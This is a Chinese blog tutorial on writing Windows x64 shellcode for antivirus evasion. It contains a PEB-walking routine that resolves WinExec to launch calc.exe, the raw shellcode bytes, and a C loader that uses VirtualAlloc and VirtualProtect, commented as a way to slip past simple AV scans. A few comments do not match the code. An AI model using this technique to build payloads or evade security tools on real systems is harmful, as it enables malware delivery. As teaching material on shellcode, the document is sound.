Windows Shellcode开发:第一章 基础开发

2025-9-4 133 9/4

Windows Shellcode开发:第一章 基础开发

前言

因为在学习免杀过程中,大多的技术都是需要ShellCode的,但是MSF老牌的ShellCode又总是漏就秒,用那些老牌ShellCode不能体现突出我们学习过的免杀技术,所以打算自己从零开学学写ShellCode,但其实我对汇编等学习也不算太多,所以如果也和情况相似的话就一起来学习吧!因为我学免杀的实验环境是Win x64的环境,所以就从x64入手吧,按理来说应该是先从x86开始的,但是就像之前我学硬件一样也是跳过51直接学32其实没什么影响,理解了一方面另一个就大同小异了。

第一章的话没想着将大量的汇编直接放过来,大家可以跟着我下面的教程将环境下载上,用的是NASM的汇编语法,跟着一步一步操作起来到最后成功,先提起一些兴趣,干货直接放在第二章节开始了,如果不打算先简单操作可以直接跳到第二章开始。

Shellcode是什么?

Shellcode 是一段无需编译可直接被 CPU 执行的二进制机器码

在进行免杀对抗中,MSF/CS生成的Shellcode特征固定没办法扩展功能,也被AV/EDR严防死守,这时候自己开发Shellcode就十分必要了。

基础开发

Stage1:64 位 Windows 下弹出信息框(MessageBoxA)

从实现最基础的弹窗功能开始

  1. 汇编代码

section .data
    caption db "Hello", 0
    message db "This is your first Shellcode step!", 0

section .text
    extern MessageBoxA
    extern ExitProcess
    global main

main:
    sub rsp, 40         ; 预留影子栈空间 (32字节) + 对齐 (8字节)

    xor rcx, rcx        ; hWnd = NULL 等价于 mov rcx,0 但是xor指令只需2字节,后面需7字节
    lea rdx, [rel message] ; lpText
    lea r8,  [rel caption] ; lpCaption
    mov r9d, 0          ; uType = MB_OK
    call MessageBoxA

    xor rcx, rcx        ; uExitCode = 0
    call ExitProcess
  1. 编译链接

# 编译汇编代码为目标文件
nasm -f win64 msg.asm -o msg.obj

# 链接为可执行文件
gcc -m64 -s -o msg.exe msg.obj -lkernel32 -luser32

# 运行测试
./msg.exe

Stage2:编写“位置无关”的机器码 (PIC),实现calc计算器

真正的Shellcode不能用extern,需要我们手动在内存中寻找函数。步骤如下:

  1. 通过GS:[0x60]访问PEB

  2. 解析Ldr链表找到kernel32.dll

  3. 解析其导出表找到GetProcAddressLoadLibratyA

[BITS 64] 

section .text
    default rel
    global main

main:
    ; 1. 保存环境与栈对齐
    push rbp
    mov rbp, rsp
    sub rsp, 60h            ; 预留足够的影子栈空间

    ; 2. 获取 kernel32.dll 基址
    xor rbx, rbx
    mov rbx, [gs:60h]       ; RBX = PEB
    mov rbx, [rbx + 18h]    ; RBX = Ldr
    mov rbx, [rbx + 20h]    ; RBX = InMemoryOrderModuleList (指向第一个模块)
    mov rbx, [rbx]          ; 模块1: 自身.exe
    mov rbx, [rbx]          ; 模块2: ntdll.dll
    mov rbx, [rbx + 20h]    ; RBX = kernel32.dll 基址 [DllBase]
    mov r12, rbx            ; R12 = kernel32 基址,留作后用

    ; 3. 解析 kernel32 导出表 (PE Header)
    mov eax, [rbx + 3Ch]    ; RVA of PE Header
    add rax, rbx            ; RAX = PE Header 地址
    mov eax, [rax + 88h]    ; RVA of Export Directory
    add rax, rbx            ; RAX = Export Directory 地址 (IMAGE_EXPORT_DIRECTORY)
    mov r13, rax            ; R13 = Export Directory 地址

    ; 4. 获取导出表中的关键数组
    mov ecx, [r13 + 18h]    ; NumberOfNames
    mov r14d, [r13 + 20h]   ; RVA of AddressOfNames
    add r14, rbx            ; R14 = AddressOfNames 实际地址

    ; 5. 循环查找 "WinExec" 字符串
find_winexec:
    dec ecx                 ; 索引从后往前找
    mov esi, [r14 + rcx*4]  ; 获取函数名的 RVA
    add rsi, rbx            ; RSI = 函数名字符串地址 ("WinExec")
    
    ; 简单的字符串比较: "WinExec" (注意大小写)
    ; 这里为了简化,我们只检查前 4 个字节 "WinE" (0x65784557)
    mov eax, [rsi]
    cmp eax, 0x456E6957     ; "WinE" 的小端序 (W=57, i=69, n=6E, E=45)
    jne find_winexec
    
    ; 检查后 3 个字节 "xec"
    mov eax, [rsi + 4]
    cmp eax, 0x00636578     ; "xec\0" (x=78, e=65, c=63)
    jne find_winexec

    ; 6. 找到索引后,提取函数地址
    mov r15d, [r13 + 24h]   ; RVA of AddressOfNameOrdinals
    add r15, rbx
    movzx ecx, word [r15 + rcx*2] ; 获取 Ordinal

    mov r15d, [r13 + 1Ch]   ; RVA of AddressOfFunctions
    add r15, rbx
    mov eax, [r15 + rcx*4]  ; 获取 WinExec 的 RVA
    add rax, rbx            ; RAX = WinExec 的实际内存地址

    ; 7. 准备参数并调用 WinExec("calc.exe", 1)
    jmp get_cmd_string
call_winexec:
    pop rcx                 ; RCX = "calc.exe" 地址
    mov rdx, 1              ; RDX = SW_SHOWNORMAL
    call rax                ; 执行 WinExec!

    ; 8. 退出
    add rsp, 60h
    pop rbp
    ret

get_cmd_string:
    call call_winexec
    db "calc.exe", 0

两种执行方法:

  • 编译链接运行

nasm -f win64 cal.asm -o cal.obj
gcc cal.obj -o cal.exe
  • 机器码执行

  1. 转换成机器码文件

nasm -f bin cal.asm -o cal.bin
  1. 查看二进制文件内容

Format-Hex cal.bin
  1. 编写加载器并编译执行

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = 
"\x55\x48\x89\xe5\x48\x83\xec\x60\x48\x31\xdb\x65\x48\x8b\x1c\x25"
"\x60\x00\x00\x00\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48"
"\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xdc\x8b\x43\x3c\x48\x01\xd8\x8b"
"\x80\x88\x00\x00\x00\x48\x01\xd8\x49\x89\xc5\x41\x8b\x4d\x18\x45"
"\x8b\x75\x20\x49\x01\xde\xff\xc9\x41\x8b\x34\x8e\x48\x01\xde\x8b"
"\x06\x3d\x57\x69\x6e\x45\x75\xee\x8b\x46\x04\x3d\x78\x65\x63\x00"
"\x75\xe4\x45\x8b\x7d\x24\x49\x01\xdf\x41\x0f\xb7\x0c\x4f\x45\x8b"
"\x7d\x1c\x49\x01\xdf\x41\x8b\x04\x8f\x48\x01\xd8\xeb\x0e\x59\xba"
"\x01\x00\x00\x00\xff\xd0\x48\x83\xc4\x60\x5d\xc3\xe8\xed\xff\xff"
"\xff\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
    printf("Loading Shellcode...\n");

    // 1. 申请内存 (MEM_COMMIT | MEM_RESERVE)
    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_READWRITE);
    
    // 2. 拷贝 Shellcode 到申请的内存
    memcpy(exec, shellcode, sizeof(shellcode));
    
    // 3. 修改内存权限为 可读、可执行 (这是为了躲避简单的杀软扫描)
    DWORD oldProtect;
    VirtualProtect(exec, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect);

    // 4. 执行 Shellcode
    ((void(*)())exec)();

    return 0;
}
gcc loader.c -o loader.exe

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论